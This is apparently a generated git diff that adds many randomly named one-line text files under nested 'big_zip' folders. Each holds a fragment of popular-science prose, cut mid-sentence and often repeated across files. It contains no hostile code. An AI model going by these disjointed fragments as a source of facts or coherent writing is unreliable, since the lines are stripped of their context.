diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rnwirkyarvbzlfrlgorx.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rnwirkyarvbzlfrlgorx.txt
new file mode 100644
index 0000000..a847625
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rnwirkyarvbzlfrlgorx.txt
@@ -0,0 +1 @@
+whose remains stand to this day. To carry water from a distant spring through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ychzjvbmhnnp.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ychzjvbmhnnp.txt
new file mode 100644
index 0000000..7e4f903
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ychzjvbmhnnp.txt
@@ -0,0 +1 @@
+underground and hillside emplacements for artillery and tanks. In Czechoslovakia the use
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_abfkfaadjhj.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_abfkfaadjhj.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_abfkfaadjhj.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_adutardskwmdbzs.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_adutardskwmdbzs.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_adutardskwmdbzs.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_ckjzbevjorrquptjfkehm.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_ckjzbevjorrquptjfkehm.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_ckjzbevjorrquptjfkehm.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_ctrsydmixubauwcywiymklx.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_ctrsydmixubauwcywiymklx.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_ctrsydmixubauwcywiymklx.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_fdksaekidkgvaeil.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_fdksaekidkgvaeil.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_fdksaekidkgvaeil.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_gkbdxzcvzafrqjbpu.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_gkbdxzcvzafrqjbpu.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_gkbdxzcvzafrqjbpu.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_gphckcqlndi.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_gphckcqlndi.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_gphckcqlndi.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_iotdbofhoqmxapkcklzlin.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_iotdbofhoqmxapkcklzlin.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_iotdbofhoqmxapkcklzlin.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_jdwdigspqflxtxaq.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_jdwdigspqflxtxaq.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_jdwdigspqflxtxaq.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_rhljxgqfig.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_rhljxgqfig.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_rhljxgqfig.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/file_wrdamodpqfsx.txt b/big_zip/big-zip-files/folder_muyarpxlsi/file_wrdamodpqfsx.txt
new file mode 100644
index 0000000..067be79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/file_wrdamodpqfsx.txt
@@ -0,0 +1 @@
+fleet of commercial sailing vessels.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cfdexxgxcjf.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cfdexxgxcjf.txt
new file mode 100644
index 0000000..f8d6d3e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cfdexxgxcjf.txt
@@ -0,0 +1 @@
+stood at a cusp in history; the last scientific astrologer was the first astrophysicist.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cgkgjkrfqjtistg.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cgkgjkrfqjtistg.txt
new file mode 100644
index 0000000..a39674d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/cgkgjkrfqjtistg.txt
@@ -0,0 +1 @@
+the chances of finding beings who are physically very similar to us is, I believe, near zero.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_aqjerihowuvtf.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_aqjerihowuvtf.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_aqjerihowuvtf.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_caoydvlylgqgbsheyjtiibb.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_caoydvlylgqgbsheyjtiibb.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_caoydvlylgqgbsheyjtiibb.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_cermfsntbar.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_cermfsntbar.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_cermfsntbar.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_czpzcbjtodif.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_czpzcbjtodif.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_czpzcbjtodif.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_dsalrwtfypdbdmha.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_dsalrwtfypdbdmha.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_dsalrwtfypdbdmha.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_ersxbewp.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_ersxbewp.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_ersxbewp.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fihhnldnbrorll.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fihhnldnbrorll.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fihhnldnbrorll.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fujmvxgeaosujd.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fujmvxgeaosujd.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_fujmvxgeaosujd.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_kzjtzdoajoouz.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_kzjtzdoajoouz.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_kzjtzdoajoouz.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nkvxrakcenny.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nkvxrakcenny.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nkvxrakcenny.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nvlancvaxljlpwpj.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nvlancvaxljlpwpj.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_nvlancvaxljlpwpj.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_qzajetczyczouft.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_qzajetczyczouft.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_qzajetczyczouft.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_rzyqimsuvkwikedeuwchbz.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_rzyqimsuvkwikedeuwchbz.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_rzyqimsuvkwikedeuwchbz.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skiwdkncgdexmgf.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skiwdkncgdexmgf.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skiwdkncgdexmgf.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skyrjfymjppdbnfguk.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skyrjfymjppdbnfguk.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_skyrjfymjppdbnfguk.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_wcovdkvbujusuxzrersaky.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_wcovdkvbujusuxzrersaky.txt
new file mode 100644
index 0000000..89c28f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/file_wcovdkvbujusuxzrersaky.txt
@@ -0,0 +1 @@
+But the opposite is also true. I think extraterrestrial intelligence - even beings substantially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/ilictrihuj.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/ilictrihuj.txt
new file mode 100644
index 0000000..cbc37f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/ilictrihuj.txt
@@ -0,0 +1 @@
+constellations in their night skies than we do in ours - other Rorschach tests for other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kctjprdezi.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kctjprdezi.txt
new file mode 100644
index 0000000..18444b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kctjprdezi.txt
@@ -0,0 +1 @@
+‘But if there is more water in the clouds, there must be more water on the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kfkqkbwxgqgjpnoadgq.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kfkqkbwxgqgjpnoadgq.txt
new file mode 100644
index 0000000..cd599a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/kfkqkbwxgqgjpnoadgq.txt
@@ -0,0 +1 @@
+savages, who offered us fish, skins of otters and other animals, and different little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/nggqyufxxxqrvjxczbbusiss.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/nggqyufxxxqrvjxczbbusiss.txt
new file mode 100644
index 0000000..8444b7b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/nggqyufxxxqrvjxczbbusiss.txt
@@ -0,0 +1 @@
+towards a close encounter with Saturn. Saturn’s gravity will propel it on to Uranus. After
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/pmuergqkcksryvraa.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/pmuergqkcksryvraa.txt
new file mode 100644
index 0000000..9d6b35a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/pmuergqkcksryvraa.txt
@@ -0,0 +1 @@
+night after night, the position of the constellations with respect to the horizon. The familiar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/vphsbenomdttpjujjsnrtr.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/vphsbenomdttpjujjsnrtr.txt
new file mode 100644
index 0000000..0c95213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/vphsbenomdttpjujjsnrtr.txt
@@ -0,0 +1 @@
+The air was thin, but there was enough oxygen to be breathable. Water was rare, but the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/wiuaojrwpbbwbfpgcmjbgr.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/wiuaojrwpbbwbfpgcmjbgr.txt
new file mode 100644
index 0000000..7527820
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/wiuaojrwpbbwbfpgcmjbgr.txt
@@ -0,0 +1 @@
+consciousness, of how science and civilization grew up together, and of the forces and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zmcfbfchnmnpuug.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zmcfbfchnmnpuug.txt
new file mode 100644
index 0000000..58e97ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zmcfbfchnmnpuug.txt
@@ -0,0 +1 @@
+desperate pains to conceal all his life.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zyvgoyzqxw.txt b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zyvgoyzqxw.txt
new file mode 100644
index 0000000..d5fcb4e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_muyarpxlsi/folder_jtguuippsu/zyvgoyzqxw.txt
@@ -0,0 +1 @@
+after an old one, were received on Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/bnghetfslagyhhpjig.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/bnghetfslagyhhpjig.txt
new file mode 100644
index 0000000..83c098a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/bnghetfslagyhhpjig.txt
@@ -0,0 +1 @@
+the evolutionary process should create extraterrestrial creatures very different from any that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/dedfhgcdcqnjzircczr.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/dedfhgcdcqnjzircczr.txt
new file mode 100644
index 0000000..c49ce3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/dedfhgcdcqnjzircczr.txt
@@ -0,0 +1 @@
+begins with P; the first symbol in the cartouche is a square. Cleopatra has for its fifth letter
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/ebhgbsmfzclwklideocrlly.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/ebhgbsmfzclwklideocrlly.txt
new file mode 100644
index 0000000..b8987f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/ebhgbsmfzclwklideocrlly.txt
@@ -0,0 +1 @@
+ancestors. The library connects us with the insights and knowledge, painfully extracted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/eeanndtn.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/eeanndtn.txt
new file mode 100644
index 0000000..5d65e2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/eeanndtn.txt
@@ -0,0 +1 @@
+not been almost completely destroyed, there would have been calculus by the time of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_asbelzitzftwjaoab.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_asbelzitzftwjaoab.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_asbelzitzftwjaoab.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_dlwpuxemcmgvppyhroyh.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_dlwpuxemcmgvppyhroyh.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_dlwpuxemcmgvppyhroyh.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_jupoibtpcgfp.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_jupoibtpcgfp.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_jupoibtpcgfp.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_lpdxgvsbudluqrajvusiynd.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_lpdxgvsbudluqrajvusiynd.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_lpdxgvsbudluqrajvusiynd.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_maklyrcvuqapmcfpzlkkiz.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_maklyrcvuqapmcfpzlkkiz.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_maklyrcvuqapmcfpzlkkiz.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_omgbmohfqkojqtggdo.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_omgbmohfqkojqtggdo.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_omgbmohfqkojqtggdo.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_qakpugimoywe.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qakpugimoywe.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qakpugimoywe.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_qkpxaohifhrblrnwxbqsu.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qkpxaohifhrblrnwxbqsu.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qkpxaohifhrblrnwxbqsu.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_qnzvnobrrluheusodspw.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qnzvnobrrluheusodspw.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_qnzvnobrrluheusodspw.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_rcjprchajqnlxo.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_rcjprchajqnlxo.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_rcjprchajqnlxo.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_scjuyhhr.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_scjuyhhr.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_scjuyhhr.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_umzbsspxnenurbzwxr.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_umzbsspxnenurbzwxr.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_umzbsspxnenurbzwxr.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_upsvyfwituj.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_upsvyfwituj.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_upsvyfwituj.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_vhdczcnfswhpohkqnyeynb.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_vhdczcnfswhpohkqnyeynb.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_vhdczcnfswhpohkqnyeynb.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_vvczrdketdwzmifqvmlbqqoc.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_vvczrdketdwzmifqvmlbqqoc.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_vvczrdketdwzmifqvmlbqqoc.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_wpuwcpboiryzbyw.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_wpuwcpboiryzbyw.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_wpuwcpboiryzbyw.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/file_yuofunnfifpgjbghu.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/file_yuofunnfifpgjbghu.txt
new file mode 100644
index 0000000..5fb555e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/file_yuofunnfifpgjbghu.txt
@@ -0,0 +1 @@
+entire universe, matter and energy and the space they fill, occupied a very small volume.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/jrzridycbln.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/jrzridycbln.txt
new file mode 100644
index 0000000..31a37ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/jrzridycbln.txt
@@ -0,0 +1 @@
+We do not know that such wormholes exist. But if they do, must they always hook up with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/kbssqfrptyjdnvsedzgm.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/kbssqfrptyjdnvsedzgm.txt
new file mode 100644
index 0000000..accfc42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/kbssqfrptyjdnvsedzgm.txt
@@ -0,0 +1 @@
+violent if it is physically affectionate toward its infants and tolerant of premarital sexualbehavior is 2 percent. The probability of this relationship occurring by chance is 125,000 to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/mzqpqgbjmmdjvgnuekqoymbi.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/mzqpqgbjmmdjvgnuekqoymbi.txt
new file mode 100644
index 0000000..9a77300
--- /dev/null
